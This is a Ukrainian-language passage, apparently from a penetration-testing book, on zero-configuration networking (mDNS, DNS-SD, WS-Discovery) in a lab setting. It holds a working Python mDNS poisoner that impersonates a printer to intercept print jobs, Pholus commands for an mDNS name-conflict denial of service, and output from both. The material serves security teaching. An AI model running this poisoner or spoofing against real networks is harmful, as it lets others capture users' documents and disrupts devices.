Пристрої використовують mDNS, коли в локальній мережі немає звичайного одноадресного DNS-сервера. Щоб визначити доменне ім’я для локальної адреси за допомогою mDNS, пристрій надсилає DNS-запит для доменного імені, що закінчується на .local, на широкомовну адресу 224.0.0.251 (для IPv4) або FF02::FB (для IPv6). Ви також можете використовувати mDNS для визначення глобальних доменних імен (не .local), але в реалізаціях mDNS ця поведінка має бути вимкнена за замовчуванням. Запити та відповіді mDNS використовують UDP і порт 5353 як вихідний і кінцевий порти.

Кожного разу, коли змінюється з’єднання mDNS-відповідача, він повинен виконувати дві дії:  зондування та  оголошення. Під час перевірки, яка виконується першою, хост запитує (використовуючи тип запиту “ANY”, який відповідає значенню 255 в  полі QTYPE  у пакеті mDNS), щоб побачити, чи записи, які він хоче рекламувати, вже використовуються. Якщо вони не використовуються, хост рекламує свої щойно зареєстровані записи (що містяться в розділі відповіді пакетів), надсилаючи небажані відповіді mDNS у мережу. Відповіді mDNS містять кілька важливих прапорців, зокрема

Відправка відповіді з TTL = 0 означає, що відповідний запис повинен бути визнаний недійсним. Ще одним важливим прапорцем є біт QU, який вказує на те, чи є запит одноадресним чи ні. Якщо біт QU не встановлений, пакет транслюється. Оскільки є можливість отримувати одноадресні запити за межами локального посилання,  Безпечні реалізації mDNS завжди повинні перевіряти, чи збігається адреса джерела в пакеті з діапазоном адрес локальної підмережі.

Як працює DNS-SD

DNS-SD дозволяє клієнтам знаходити доступні послуги в мережі. Щоб скористатися нею, клієнти надсилають стандартні DNS-запити для покажчикових записів (PTR), які зіставляють тип служби зі списком імен для певних екземплярів цього типу служби.

Для запиту запису PTR клієнти використовують  форму імені «<Service>.<Domain>». Частина <Service> — це  пара міток DNS: символ підкреслення, за яким слідує назва служби (наприклад, _ipps, _printer  або _ipp), і _tcp або _udp. Для частини  <Домен>  встановлено  значення  “.local”. Потім респонденти повертають записи PTR, які вказують на пов’язану послугу (SRV) і текст (TXT). Запис mDNS PTR містить ім’я служби, яке збігається з ім’ям запису SRV без імені екземпляра: іншими словами, він вказує на запис SRV. Ось приклад запису PTR:

_ipps._tcp.local: type PTR, class IN, test._ipps._tcp.local

Частина PTR ліворуч від двокрапки є назвою двокрапки, а частина праворуч — записом SRV, на який вказує запис PTR. У записі SRV перелічено цільовий хост і порт, за допомогою якого можна отримати доступ до екземпляра служби. Наприклад, на рис. На малюнку 6.4 показаний запис SRV “test._ ipps._tcp.local” в Wireshark.

Імена SRV мають  формат “<Instance>.<Service>.<Domain>”. Мітка <Екземпляр>  містить зручну назву сервісу (в даному випадку тестового). Мітка <Service>   визначає, що робить служба та який протокол програми вона для цього використовує. Він складається з набору міток DNS: підкреслення, за яким слідує назва служби (наприклад,  _ipps, _ipp, _http), за яким слідує транспортний протокол (_tcp, _udp, _sctp    і так далі). У  частині  <Домен> вказується  субдомен DNS, в якому зареєстровані ці імена. Для mDNS це .local, але це може бути будь-що, якщо ви використовуєте одноадресний DNS. Запис SRV також містить розділи Target і Port, які містять ім’я хоста і порт, на якому можна знайти службу (див. Рисунок 6.4).

Запис TXT, який має те саме ім’я, що й запис SRV, надає додаткову інформацію про цей екземпляр у структурованій формі за допомогою пар ключ/значення. Запис TXT містить інформацію, необхідну для ідентифікації служби, коли IP-адреси та номерів портів (що містяться в записі SRV) недостатньо для ідентифікації служби. Наприклад, у випадку зі старим протоколом Unix LPR у TXT-записі вказується ім’я черги.

Ведення розвідки за допомогою mDNS та DNS-SD

Ви можете дізнатися багато нового про свою локальну мережу, просто надсилаючи запити mDNS і перехоплюючи багатоадресний трафік mDNS. Наприклад, ви можете виявити доступні служби, зробити запит до конкретних екземплярів служби, пронумерувати домени та ідентифікувати хост. Зокрема, має бути ввімкнено спеціальну службу _workstation для ідентифікації хоста в системі, яку ви намагаєтеся дослідити.

Ми збираємося провести розвідку за допомогою інструменту під назвою Pholus, який був розроблений Антоніосом Атласісом. Завантажте його з https:// github.com/aatlasis/Pholus/. Зверніть увагу, що Pholus написаний на Python 2, який офіційно більше не підтримується. Можливо, вам доведеться вручну завантажити pip для Python2, подібно до встановлення Umap (див. розділ «Отримання та використання Umap» вище). Далі вам потрібно буде встановити Scapy,  використовуючи версію pip на Python2:

# pip install scapy

Pholus буде відправляти запити mDNS (-rq) в локальну мережу і захоплювати широкомовний трафік mDNS (  10 секунд для -stimeout), збираючи багато цікавої інформації:

root@kali:~/zeroconf/mdns/Pholus# ./pholus.py eth0 -rq -stimeout 10
source MAC address: 00:0c:29:32:7c:14 source IPv4 Address: 192.168.10.10 source IPv6 address:
fdd6:f51d:5ca8:0:20c:29ff:fe32:7c14
Sniffer filter is: not ether src 00:0c:29:32:7c:14 and udp and port 5353
I will sniff for 10 seconds, unless interrupted by Ctrl-C
------------------------------------------------------------------------
Sending mdns requests
30:9c:23:b6:40:15 192.168.10.20 QUERY Answer: _services._dns-sd._udp.local. PTR Class:IN "_
nvstream_dbd._tcp.local."
9c:8e:cd:10:29:87 192.168.10.245 QUERY Answer: _services._dns-sd._udp.local. PTR Class:IN "_
http._tcp.local."
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Question: 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f.4
.d.6.0.e.4.8.7.3.d.f.ip6.arpa. * (ANY) QM Class:IN
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Question: OpenWrt-1757.local. * (ANY) QM Class:IN
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Auth_NS: OpenWrt-1757.local. HINFO Class:IN
"X86_64LINUX"
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Auth_NS: OpenWrt-1757.local. AAAA Class:IN
"fd37:84e0:6d4f::1"
00:0c:29:7f:68:f9 fd37:84e0:6d4f::1 QUERY Auth_NS: 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f.4.
d.6.0.e.4.8.7.3.d.f.ip6.arpa. PTR Class:IN "OpenWrt-1757.local."

На малюнку 6.5 показаний дамп Wireshark з запиту Pholus. Зверніть увагу, що відповіді надсилаються назад на адресу широкомовної трансляції через порт UDP 5353. Оскільки будь-хто може отримувати багатоадресні повідомлення, зловмисник може легко відправити запит mDNS з підробленої IP-адреси і при цьому отримати відповіді в локальній мережі.

Дізнатися більше про те, які сервіси доступні в мережі, є найпершим кроком у будь-якому тесті безпеки. Використовуючи такий підхід, можна знайти сервіси з потенційними вразливостями, а потім скористатися ними.

Зловживання на етапі перевірки mDNS

У цьому розділі ми скористаємося кроком перевірки mDNS. На цьому етапі, який відбувається щоразу, коли відповідач mDNS запускає або змінює своє з’єднання, респондент запитує локальну мережу, чи є якісь ресурсні записи з таким самим ім’ям, як той, який він планує оголосити. Для цього він надсилає запит типу  “ANY” (255), як показано на мал. 6.6.

Якщо відповідь містить бажаний запис, вузол перевірки повинен вибрати нову назву. Якщо протягом 10 секунд виникне 15 конфліктів, організатор повинен почекати принаймні п’ять секунд перед будь-якою додатковою спробою. Крім того, якщо проходить одна хвилина, протягом якої хост не може знайти невикористовуване ім’я, він повідомляє користувачеві про помилку.

Фаза валідації піддається наступній атаці: зловмисник може відстежувати трафік mDNS для валідуючого хоста, а потім безперервно надсилати відповіді, що містять відповідний запис, безперервно змушуючи хост змінювати запитуване ім’я, доки він не завершить роботу. Це спричиняє зміну конфігурації (наприклад, через те, що вузол, який покладається на нього, має вибрати нове ім’я для служби, яку він надає) і, можливо, атаку типу «відмова в обслуговуванні», якщо хост не може отримати доступ до ресурсу, який він шукає. Для швидкої демонстрації цієї атаки використовуйте Pholus з аргументом -afre:

# python pholus.py eth0 -afre -stimeout 1000

Замініть  аргумент eth0  на бажаний мережевий інтерфейс. Аргумент  -afre  змушує Pholus надсилати підроблені відповіді mDNS протягом -stimeout секунд. Цей результат показує, що Pholus блокує новий хост Ubuntu у мережі:

00:0c:29:f4:74:2a 192.168.10.219 QUERY Question: ubuntu-133.local. * (ANY) QM Class:IN
00:0c:29:f4:74:2a 192.168.10.219 QUERY Auth_NS: ubuntu-133.local. AAAA Class:IN "fdd6:f51d:5ca8
:0:c81e:79a4:8584:8a56"
00:0c:29:f4:74:2a 192.168.10.219 QUERY Auth_NS: 6.5.a.8.4.8.5.8.4.a.9.7.e.1.8.c.0.0.0.0.8.a.c.5
.d.1.5.f.6.d.d.f.ip6.arpa. PTR Class:IN "ubuntu-133.local."
Query Name = 6.5.a.8.4.8.5.8.4.a.9.7.e.1.8.c.0.0.0.0.8.a.c.5.d.1.5.f.6.d.d.f.ip6.arpa Type=255
00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Question: 6.5.a.8.4.8.5.8.4.a.9.7.
e.1.8.c.0.0.0.0.8.a.c.5.d.1.5.f.6.d.d.f.ip6.arpa. * (ANY) QM Class:IN
Query Name = ubuntu-134.local Type= 255
00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Question: ubuntu-134.local. *
(ANY) QM Class:IN
00:0c:29:f4:74:2a fdd6:f51d:5ca8:0:e923:d17e:4a0f:184d QUERY Auth_NS: ubuntu-134.local. AAAA
Class:IN "fdd6:f51d:5ca8:0:c81e:79a4:8584:8a56"

Коли хост Ubuntu завантажився, його відповідач mDNS спробував запросити локальне ім’я ubuntu.local. Оскільки Pholus продовжував надсилати фальшиві відповіді, які вказували на те, що ім’я належить зловмиснику, хост Ubuntu продовжував повторювати нові потенційні імена, такі як ubuntu-2.local, ubuntu-3.local тощо, без можливості зареєструватися. Зверніть увагу, що хост невдало прийшов до назви ubuntu-133.local.

Атаки типу “людина посередині” на mDNS і DNS-SD

Проведемо просунуту атаку з високим ефектом: зловмисники, які отруюють mDNS в локальній мережі, займають привілейоване становище «людини посередині» між клієнтом і якимось сервісом, користуючись відсутністю аутентифікації в mDNS. Це дозволяє їм фіксувати та змінювати потенційно конфіденційні дані, що передаються через мережу, або просто відмовляти в обслуговуванні.

У цьому розділі ми створимо «отруйник» mDNS у Python, який імітує мережевий принтер для перехоплення документів, призначених для справжнього принтера. Потім ми протестуємо атаку у віртуальному середовищі.

Налаштування сервера жертви

Почнемо з налаштування комп’ютера жертви для запуску емульованого принтера за допомогою ippserver. Ippserver — це простий сервер протоколу друку в Інтернеті (IPP), який може діяти як дуже простий сервер друку. Я використовував Ubuntu 18.04.2 LTS (IP-адреса: 192.168.10.219) у VMware, але точні характеристики операційної системи не мають значення, якщо ви можете запустити поточну версію ippserver.

Після того, як операційна система буде встановлена, запустіть сервер друку, ввівши в терміналі наступну команду:

$ ippserver test –v

Ця команда запускає сервер ippserver із типовими параметрами налаштування. Він повинен очікувати на порт TCP 8000, рекламувати службу з назвою test і вмикати докладне виведення. Якщо Wireshark відкритий під час запуску сервера, ви повинні помітити, що сервер виконує фазу зондування, надсилаючи запит mDNS на локальну широкомовну адресу 224.0.0.251 із запитом, чи є у когось служба друку з назвою test (мал 6.7).

Цей запит також містить деякі запропоновані  записи в розділі Повноваження  (ви можете побачити їх у  розділі Авторитетні сервери імен  на мал 6.7). Оскільки це не відповідь mDNS, такі записи не вважаються офіційними відповідями; натомість вони використовуються для одночасної перевірки вирішення конфліктів, ситуація, яка нас зараз не хвилює.

Потім сервер зачекає пару секунд і, якщо ніхто в мережі не відповість, перейде до фази оголошення. У цей момент ippserver надсилає небажану відповідь mDNS, яка містить усі його знову зареєстровані ресурсні записи у розділі відповіді мал. 6.8).

Ця відповідь включає набір записів PTR, SRV і TXT для кожної служби, як показано в статті Як працює DNS-SD. Він також містить записи  A (для IPv4) і AAAA (для IPv6), які використовуються для розпізнавання доменного імені з IP-адресами. Запис A для ubuntu.local у цьому випадку міститиме IP-адресу 192.168.10.219.

Підготовка клієнта-жертви

Жертва, яка запитує послугу друку, може використовувати будь-який пристрій під керуванням операційної системи, яка підтримує mDNS і DNS-SD. У цьому прикладі ми будемо використовувати MacBook Pro з macOS High Sierra. Мережева реалізація Apple з нульовою конфігурацією називається Bonjour і базується на mDNS. Bonjour має бути ввімкнено за замовчуванням у macOS. Якщо це не так, ви можете увімкнути його, ввівши наступну команду в терміналі:

$ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist

На мал 6.9 показано, як mDNSResponder (основний рушій Bonjour) автоматично знаходить відповідний сервер друку Ubuntu, коли ми натискаємо  Системні параметри >> Принтери та сканери та  кнопку +, щоб додати новий принтер.

Щоб зробити сценарій атаки більш реалістичним, ми припускаємо, що MacBook вже має попередньо налаштований мережевий принтер з назвою test. Одним з найважливіших аспектів автоматичного виявлення служб є те, що не має значення, чи наша система виявила цю послугу раніше! Це підвищує гнучкість (хоча в той же час змушує жертвувати безпекою). Клієнт повинен мати можливість зв’язатися з сервісом, навіть якщо ім’я хоста та IP-адреса змінилися; Тому щоразу, коли клієнту macOS потрібно надрукувати документ, він надсилає новий запит mDNS, запитуючи, де знаходиться тестовий сервіс, навіть якщо він має те саме ім’я хоста та IP-адресу, що й попереднього разу.

Як працює типова клієнт-серверна взаємодія

Тепер давайте подивимося, як клієнт macOS запитує службу принтера, коли все працює коректно. Як показано на рис. На мал 6.10 клієнтський запит mDNS для тестового сервісу запитає, які записи SRV та TXT належать test._ipps._tcp.local. Він також запитує подібні альтернативні служби, такі як test._printer._tcp.local і test._ipp._tcp.local.

Після цього система Ubuntu відреагує так само, як і на етапі оголошення. Він надсилатиме відповіді, що містять записи PTR, SRV і TXT для всіх запитуваних служб, які мають відповідні дозволи (наприклад, test._ipps._tcp.local) і A (а також записи AAAA, якщо на хості ввімкнено IPv6). Запис TXT (мал. 6.11) особливо важливий у цьому випадку, оскільки він містить точний URL (adminurl) для завдань принтера, які будуть опубліковані.

Маючи цю інформацію, клієнт macOS знає все необхідне для надсилання завдання друку на ipp-сервер Ubuntu:

  • із запису PTR випливає, що існує _ipps._tcp.local зі службою test;

  • із запису SRV відомо, що ця служба test._ipps._tcp.local розміщена на ubuntu.local на TCP-порті 8000;

  • із запису A відомо, що ubuntu.local дозволяється 192.168.10.219;

  • із запису TXT відомо, що URL-адреса для публікації завдань друку – https://ubuntu.8000/ipp/print.

Потім клієнт macOS ініціює сеанс HTTPS з ipp-сервером на порту 8000 і завантажує документ для друку:

[Client 1] Accepted connection from "192.168.10.199".
[Client 1] Starting HTTPS session.
[Client 1E] Connection now encrypted.
[Client 1E] POST /ipp/print
[Client 1E] Continue
[Client 1E] Get-Printer-Attributes successful-ok
[Client 1E] OK
[Client 1E] POST /ipp/print
[Client 1E] Continue
[Client 1E] Validate-Job successful-ok
[Client 1E] OK
[Client 1E] POST /ipp/print
[Client 1E] Continue
[Client 1E] Create-Job successful-ok
[Client 1E] OK

Ви повинні побачити ці дані з ippserver.

Створення отруйника mDNS

Отруйник mDNS, який ми напишемо на Python, прослуховує багатоадресну передачу mDNS на порту UDP 5353, доки не знайде клієнта, який намагається підключитися до принтера, а потім надішле йому відповіді. Рис. На малюнку 6.12 показані відповідні кроки.

По-перше, зловмисник прослуховує багатоадресний трафік mDNS на порту UDP 5353. Коли клієнт macOS повторно виявляє  тест мережевого принтера та надсилає запит  mDNS, зловмисник постійно надсилає отруйні відповіді. Якщо зловмисник виграє гонку проти легального принтера, він стає «людиною посередині», пропускаючи трафік від клієнта. Клієнт відправляє зловмиснику документ, який потім зловмисник може переслати на справжній принтер,  щоб уникнути виявлення. Якщо зловмисник не надішле документ на принтер, у користувача можуть виникнути підозри, коли він не буде надрукований.

Ми почнемо зі створення каркасного файлу (лістинг 6.2), а потім реалізуємо просту функціональність мережевого сервера для прослуховування багатоадресної адреси mDNS. Зверніть увагу, що скрипт написаний на Python 3.

Лістинг коду 6.2. mDNS Файл отруйника скелета

#!/usr/bin/env python
 import time, os, sys, struct, socket
 from socketserver import UDPServer, ThreadingMixIn
 from socketserver import BaseRequestHandler
 from threading import Thread
 from dnslib import *
 MADDR = ('224.0.0.251', 5353)
class UDP_server(ThreadingMixIn, UDPServer): 
 allow_reuse_address = True
 def server_bind(self):
 self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 mreq = struct.pack("=4sl", socket.inet_aton(MADDR[0]), socket.INADDR_ANY)
 self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, mreq)
 UDPServer.server_bind(self)
 def MDNS_poisoner(host, port, handler): 
 try:
 server = UDP_server((host, port), handler)
 server.serve_forever()
 except:
 print("Error starting server on UDP port " + str(port))
class MDNS(BaseRequestHandler):
 def handle(self):
 target_service = ''
 data, soc = self.request
 soc.sendto(d.pack(), MADDR)
 print('Poisoned answer sent to %s for name %s' % (self.client_address[0], target_
service))
def main(): 
 try:
 server_thread = Thread(target=MDNS_poisoner, args=('', 5353, MDNS,))
 server_thread.setDaemon(True)
 server_thread.start()
 print("Listening for mDNS multicast traffic")
 while True:
 time.sleep(0.1)
 except KeyboardInterrupt:
 sys.exit("\rExiting...")
 if __name__ == '__main__':
 main()

Почнемо з імпорту необхідних модулів Python. Інфраструктура сокетів полегшує завдання написання мережевих серверів. Для аналізу та створення пакетів mDNS ми імпортуємо dnslib, просту бібліотеку для кодування та декодування пакетів проводового формату DNS Потім ми визначаємо глобальну змінну MADDR, яка містить адресу багатоадресної розсилки mDNS та порт за замовчуванням (5353).

Ми створюємо UDP_server за допомогою класу ThreadingMixIn, який реалізує паралелізм із використанням потоків. Конструктор сервер викличе функцію server_bind, щоб прив’язати сокет до бажаної адреси. Ми включаємо allow_reuse_address, щоб можна було повторно використовувати пов’язану IP-адресу та параметр сокету SO_REUSEADDR, який дозволяє сокету примусово зв’язуватися з тим а портом при перезапуску програми. Потім ми повинні приєднатися до групи багатоадресної розсилки (224.0.0.251) з IP_ADD_MEMBERSHIP.

Функція MDNS_poisoner створює екземпляр UDP_server та викликає на ньому serve_forever для обробки запитів до явного завершення роботи. Клас MDNS обробляє всі вхідні запити, аналізує та надсилає відповіді. Оскільки цей клас – інтелектуальна основа отруйника, ми вивчимо його докладніше пізніше. Ви повинні замінити цей блок коду (листинг 6.3) на повний клас MDNS з лістингу 6.2. Функція main створює основний потік для сервера mDNS. Цей потік автоматично запускає нові потоки для кожного запиту, який оброблятиме функція MDNS.handle.

Оскільки вказано режим setDaemon(True), сервер завершить роботу, коли основний потік завершиться, і ви можете завершити його, натиснувши Ctrl+C, що викличе виняток KeyboardInterrupt. Після запуску потоків основна програма увійде до нескінченного циклу, а потоки будуть обробляти все інше.

Тепер, коли ми створили скелетний файл, давайте опишемо методологію створення  класу MDNS, що реалізує отруйник mDNS.

  1. Візьміть мережевий трафік, щоб визначити, які пакети потрібно відтворити повторно, і збережіть файл pcap для подальшого використання.

  2. Експортуйте байти необробленого пакета з Wireshark.

  3. Знайдіть бібліотеки, які реалізують існуючі функції, такі як dnslib, для обробки DNS-пакетів, щоб вам не довелося винаходити велосипед.

  4. Коли вам потрібно проаналізувати вхідні пакети, як у випадку з mDNS-запитом, спочатку використовуйте раніше експортовані пакети з Wireshark для початкового завантаження в інструмент замість того, щоб отримувати нові з мережі.

  5. Почніть відправляти пакети по мережі, а потім порівняйте їх з першим дампом трафіку.

  6. Налаштуйте та вдосконалюйте інструмент, очищаючи та коментуючи код, а також додаючи налаштування в реальному часі за допомогою аргументів командного рядка.

Давайте подивимося, що робить наш найважливіший клас, MDNS (Листинг 6.3). Замініть блок MDNS у лістингу 6.2 наступним кодом:

Лістинг 6.3. Остаточний варіант класу MDNS для нашого отруйника

class MDNS(BaseRequestHandler):
 def handle(self):
 target_service = ''
 data, soc = self.request 
 d = DNSRecord.parse(data) 
 # базовая проверка – имеет ли пакет mDNS хотя бы один запрос?
 if d.header.q < 1:
 return
 # мы полагаем, что первый запрос содержит имя службы, которую мы будем подменять
 target_service = d.questions[0]._qname 
 # теперь создаем ответ mDNS, который содержит имя службы и наш IP-адрес
 d = DNSRecord(DNSHeader(qr=1, id=0, bitmap=33792)) 
 d.add_answer(RR(target_service, QTYPE.SRV, ttl=120, rclass=32769, rdata=SRV(priority=0,
target='kali.local', weight=0, port=8000)))
 d.add_answer(RR('kali.local', QTYPE.A, ttl=120, rclass=32769, rdata=A("192.168.10.10"))) 
 d.add_answer(RR('test._ipps._tcp.local', QTYPE.TXT, ttl=4500, rclass=32769,
rdata=TXT(["rp=ipp/print", "ty=Test Printer", "adminurl=https://kali:8000/ipp/print",
"pdl=application/pdf,image/jpeg,image/pwg-raster", "product=(Printer)", "Color=F", "Duplex=F",
"usb_MFG=Test", "usb_MDL=Printer", "UUID=0544e1d1-bba0-3cdf-5ebf-1bd9f600e0fe", "TLS=1.2",
"txtvers=1", "qtotal=1"]))) 
 soc.sendto(d.pack(), MADDR) 
 print('Poisoned answer sent to %s for name %s' % (self.client_address[0], target_service))

Ми використовуємо фреймворк сокетів Python для реалізації сервера. Клас MDNS повинен створити підклас класу BaseRequestHandler фреймворку та перевизначити його метод handle() для обробки вхідних запитів. Для служб UDP self.request повертає рядок та пару сокетів, які ми зберігаємо локально. Рядок містить дані, що надходять з мережі, а пара сокетів – IP-адреса та порт, що належать відправнику цих даних.

Потім ми аналізуємо вхідні дані за допомогою dnslib, конвертуючи їх у клас DNSRecord, який потім можемо використовувати для вилучення імені домену з QNAME розділу Question (Питання). Розділ Question – це частина пакету mDNS, що містить запити (Див. приклад на мал. 6.7). Зверніть увагу, що для встановлення dnslib Ви можете виконати такі команди:

# git clone https://github.com/paulc/dnslib
# cd dnslib
# python setup.py install

Потім ми повинні створити нашу відповідь mDNS, що містить три записи DNS, які нам потрібні (SRV, A та TXT). У розділі Answers (Відповіді) додаємо SRV-запис, який пов’язує target_service з нашим ім’ям хоста (kali.local) та портом 8000. Ми додаємо запис A, яка дозволяє ім’я хоста в IP-адресу.

Потім додаємо запис TXT, яка містить, серед іншого, URL-адресу підробленого принтера, з яким потрібно зв’язатися за адресою https://kali:8000/ipp/print. Зрештою, надсилаємо відповідь жертві через наш UDP-сокет. Як вправу пропонуємо налаштувати жорстко запрограмовані значення, що містяться на етапі відповіді mDNS. Ви також можете зробити отруйник більш гнучким, щоб він отруював тільки вказана цільова IP-адреса та ім’я служби.

Тестування отруйника mDNS

Тепер давайте перевіримо отруйник mDNS в дії. Цей вихід на консоль виводиться робочим отруйником зловмисника:

root@kali:~/mdns/poisoner# python3 poison.py
Listening for mDNS multicast traffic
Poisoned answer sent to 192.168.10.199 for name _universal._sub._ipp._tcp.local.
Poisoned answer sent to 192.168.10.219 for name test._ipps._tcp.local.
Poisoned answer sent to 192.168.10.199 for name _universal._sub._ipp._tcp.local.

Ми намагаємося автоматично отримати завдання друку від клієнта-жертви, обманом змушуючи його підключитися до нас замість справжнього принтера, надсилаючи, здавалося б, законний mDNS-трафік. Наш отруйник mDNS відповідає клієнту жертви за номером 192.168.10.199, повідомляючи йому, що ім’я зловмисника _universal._sub._ipp._tcp.local. Отруйник mDNS також повідомляє законному серверу друку (192.168.10.219), що зловмисник зберігає ім’я test._ipps._tcp.local.

Пам’ятайте, що це ім’я, яке розрекламував у мережі сервер друку. Наш отруйник, будучи на цьому етапі лише спрощеною демонстрацією сценарію, не розрізняє ціль; Навпаки, він без розбору отруює кожне прохання, яке бачить.

Цей вихід створюється сервером ippserver, який імітує сервер друку:

root@kali:~/tmp# ls
root@kali:~/tmp# ippserver test -d . -k -v
Listening on port 8000.
Ignore Avahi state 2.
printer-more-info=https://kali:8000/
printer-supply-info-uri=https://kali:8000/supplies
printer-uri="ipp://kali:8000/ipp/print"
Использование сети с нулевой конфигурацией  181
Accepted connection from 192.168.10.199
192.168.10.199 Starting HTTPS session.
192.168.10.199 Connection now encrypted.
…

Коли отруйник mDNS запущено, клієнт (192.168.10.199) підключиться до сервера зловмисника замість законного принтера (192.168.10.219), щоб надіслати завдання друку.

Однак ця атака не пересилає автоматично завдання друку або документ на справжній принтер. Зауважте, що в цьому сценарії реалізація Bonjour mDNS/DNS-SD, здається, запитує  ім’я _universal кожного разу, коли користувач намагається щось ввести з MacBook, і цей запит також має бути надісланий. Причина в тому, що MacBook був підключений до нашої лабораторії через Wi-Fi, і macOS намагалася використовувати AirPrint,  Функція macOS для друку через Wi-Fi. Назва _universal пов’язана з AirPrint.

Використання WS-Discovery

Web Services Dynamic Discovery (WS-Discovery) — це широкомовний протокол виявлення, який розміщує служби в локальній мережі. Ви коли-небудь замислювалися, що станеться, якщо ви імітуєте поведінку IP-камери в мережі та атакуєте сервер, який нею керує? Корпоративні мережі, в яких розміщується велика кількість камер, часто покладаються на сервери управління відео, програмне забезпечення, яке дозволяє Системні адміністратори та оператори можуть віддалено керувати пристроями та переглядати відеопотік через централізований інтерфейс.

Більшість сучасних IP-камер підтримують ONVIF, відкритий галузевий стандарт, призначений для того, щоб фізичні пристрої безпеки на основі IP, включаючи камери спостереження, відеореєстратори та пов’язане програмне забезпечення, могли взаємодіяти один з одним. Це відкритий протокол, який розробники програмного забезпечення для відеоспостереження можуть використовувати для зв’язку з ONVIF-сумісними пристроями, незалежно від їх виробника. Однією з його особливостей є автоматичне виявлення пристрою, що зазвичай робиться за допомогою WS-Discovery. У цьому розділі ми пояснимо, як працює WS-Discovery, створимо тестовий сценарій Python для використання внутрішніх вразливостей протоколу, налаштуємо фальшиву IP-камеру в локальній мережі та обговоримо інші вектори атак.

Як працює WS-Discovery

Не вдаючись у подробиці, коротко опишемо, як працює WS-Discovery. У термінології WS-Discovery цільова служба – це кінцева точка, доступна для виявлення, тоді як клієнт – це кінцева точка, яка шукає цільові служби. Обидва використовують запити SOAP через UDP на багатоадресну адресу 239.255.255.250 з цільовим портом UDP 3702. На малюнку 6.13 представлений обмін повідомленнями між ними.

Цільова служба надсилає широкомовне повідомлення Hello, коли приєднується до мережі. Цільова служба може отримати широкомовну відповідь Probe, повідомлення, відправлене у довільний момент часу клієнтом, який шукає цільову службу певного типу.

Тип – це ідентифікатор кінцевої точки. Наприклад, IP-камера може мати тип NetworkVideoTransmitter. Клієнт також може надіслати одноадресний запит Probe Match, якщо цільова служба збігається із запитом Probe (інші відповідні цільові служби також можуть надсилати одноадресні запити Probe Match).

Так само цільова служба може будь-коли отримати широкомовне повідомлення Resolve, відправлене клієнтом, шукаючим ціль на ім’я, і відправити одноадресне повідомлення Resolve Match , якщо вона є метою запиту Resolve. Зрештою, коли цільова служба залишає мережу, вона намагається відправити широкомовне повідомлення Bye. Клієнт віддзеркалює повідомлення цільової служби.

Він прослуховує широкомовні повідомлення Hello, спостерігає, як Probe опитує цільові служби або Resolve знаходить конкретну цільову службу і прослуховує широкомовну передачу Bye. В основному ми зосередимося на другому та третьому кроках атаки, яку виконаємо у цьому розділі.

Підміна камер у вашій мережі

Спочатку ми налаштуємо тестове середовище з програмним забезпеченням для управління IP-камерою на віртуальній машині, а потім будемо використовувати реальну мережеву камеру для захоплення пакетів і аналізу їх взаємодії з програмним забезпеченням через WS-Discovery на практиці. Нарешті, давайте створимо скрипт на Python, який імітуватиме камеру з метою атаки на програмне забезпечення керування камерою.

Налаштування

Ми продемонструємо цю атаку за допомогою більш ранньої версії (версія 7.8) exacqVision, відомого інструменту для управління IP-камерами. Ви також можете вибрати подібний безкоштовний інструмент, як-от Camlytics, iSpy або будь-яке програмне забезпечення для керування камерою, яке використовує WS-Discovery. Ми розмістимо програмне забезпечення на віртуальній машині з IP-адресою 192.168.10.240. Реальна мережева камера, яку ми будемо моделювати, має IP-адресу 192.168.10.245. Версія exacqVision, який ми використовуємо, можна знайти за адресою https://www.exacq.com/ reseller/legacy/?file=Legacy/index.html/.

Встановіть сервер і клієнт exacqVision на систему Windows 7, розміщену VMware, а потім запустіть клієнт exacqVision. Він повинен підключатися локально до відповідного сервера; Клієнт виступає в якості призначеного для користувача інтерфейсу для сервера, який повинен був працювати в системі в якості фонової служби. Потім ми можемо приступити до виявлення мережевих камер. На сторінці конфігурації натисніть exacqVision Server   > Configure System > Add IP Camera (exacqVision Server > Configure System > Add IP Cameras), а потім натисніть  кнопку Rescan Network  – Мал. 6.14.

Це призведе до того, що повідомлення зонда (повідомлення 2 на рисунку 6.14) буде надіслано на широкомовну адресу 239.255.255.250 через порт UDP 3702.

Аналіз запитів і відповідей WS-Discovery у Wireshark

Як зловмисники можуть видати себе за камеру в Інтернеті? Досить легко зрозуміти, як працюють типові запити та відповіді WS-Discovery, поекспериментувавши зі стандартною камерою, такою як Amcrest, як показано в цьому розділі. У Wireshark почніть з увімкнення диссектора XML через UDP,  натиснувши «Аналізувати»  в рядку меню. Потім натисніть Увімкнені протоколи (Протоколи додаються). Шукаємо udp і встановлюємо прапорець  XML over UDP  (див. мал 6.15).

Далі активуйте Wireshark на віртуальній машині, на якій запущено сервер exacqVision, і зафіксуйте відповідь Probe Match (повідомлення 3 з 9) з камери Amcrest у відповідь на запит WS-Discovery Probe. Потім ви можете клацнути пакет правою кнопкою миші та вибрати Стежити за >> UDP-потік. Ми  повинні побачити весь запит SOAP/XML. Це значення запиту нам знадобиться в наступному розділі,  коли ми будемо розробляти сценарій; Ми вставимо його  в змінну orig_buf  в лістингу 6.4.

Рис. На малюнку 6.16 показаний вихід зонда WS-Discovery в Wireshark. Клієнт exacqVision відображає цю інформацію щоразу, коли сканує мережу для пошуку нових IP-камер.

Найважливішою частиною цього сканування мережі є UUID MessageID (у коробці), оскільки його має бути включено у відповідь Probe Match. (Про це можна прочитати в офіційній специфікації WS-Discovery за посиланням /s:Envelope/s:Header/ a:RelatesTo МАЄ бути значенням властивості [ідентифікатор повідомлення][WS-Addressing] зонду.)  На малюнку 6.17 показана реакція Probe Match від справжньої IP-камери Amcrest.

 

Поле RelatesTo   містить той самий UUID, що й  UUID у MessageID як частину набору корисних даних XML, надісланого клієнтом exacqVision.

Емуляція мережевої камери

